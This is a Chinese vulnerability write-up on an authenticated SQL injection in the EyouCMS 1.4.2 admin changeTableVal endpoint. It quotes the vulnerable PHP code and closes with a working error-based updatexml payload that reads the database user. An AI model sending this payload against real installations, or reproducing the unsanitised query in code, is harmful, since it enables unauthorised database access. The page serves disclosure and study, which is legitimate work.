Eyoucms 1.4.2 后台注入¶
一、漏洞简介¶
二、漏洞影响¶
三、复现过程¶
漏洞分析¶
/application/admin/controller/Index.php
public function changeTableVal() { if (IS_AJAX_POST) { $url = null; $data = [ 'refresh' => 0, ]; $table = input('post.table/s'); // 表名 $id_name = input('post.id_name/s'); // 表主键id名 $id_value = input('post.id_value/s'); // 表主键id值 $field = input('post.field/s'); // 修改哪个字段 $value = input('post.value/s', '', null); // 修改字段值 switch ($table) { // 会员等级表 case 'users_level': { $return = model('UsersLevel')->isRequired($id_name,$id_value,$field,$value); if (is_array($return)) { $this->error($return['msg']); } } break; // 会员属性表 case 'users_parameter': { $return = model('UsersParameter')->isRequired($id_name,$id_value,$field,$value); if (is_array($return)) { $this->error($return['msg']); } } break; // 会员中心菜单表 case 'users_menu': { Db::name('users_menu')->where('id','gt',0)->update([ 'is_userpage' => 0, 'update_time' => getTime(), ]); $data['refresh'] = 1; } break; // 会员投稿功能 case 'archives': { if ('arcrank' == $field) { if (0 == $value) { $value = -1; }else{ $value = 0; } } } break; // 会员产品类型表 case 'users_type_manage': { if (empty($value)) { $this->error('不可为空'); } } break; default: # code... break; } $savedata = [ $field => $value, 'update_time' => getTime(), ]; M($table)->where("$id_name = $id_value")->cache(true,null,$table)->save($savedata); // 根据条件保存修改的数据 // 以下代码可以考虑去掉,与行为里的清除缓存重复 AppEndBehavior.php / clearHtmlCache switch ($table) { case 'auth_modular': extra_cache('admin_auth_modular_list_logic', null); extra_cache('admin_all_menu', null); break; default: // 清除logic逻辑定义的缓存 extra_cache('admin_'.$table.'_list_logic', null); // 清除一下缓存 // delFile(RUNTIME_PATH.'html'); // 先清除缓存, 否则不好预览 \think\Cache::clear($table); break; } /*清除页面缓存*/ // $htmlCacheLogic = new \app\common\logic\HtmlCacheLogic; // $htmlCacheLogic->clear_archives(); /*--end*/ $this->success('更新成功', $url, $data); } }
第307行:
M($table)->where("$id_name = $id_value")->cache(true,null,$table)->save($savedata); // 根据条件保存修改的数据
直接将函数头获取的POST传入SQL语句里面:
$table = input('post.table/s'); // 表名 $id_name = input('post.id_name/s'); // 表主键id名 $id_value = input('post.id_value/s'); // 表主键id值 $field = input('post.field/s'); // 修改哪个字段 $value = input('post.value/s', '', null); // 修改字段值
漏洞复现¶
payload:
http://0-sec.org/eyou/?m=admin&c=Index&a=changeTableVal post: table=admin&id_name=admin_id&id_value='1'//and//updatexml(1,concat(0x7e,user(),0x7e),1)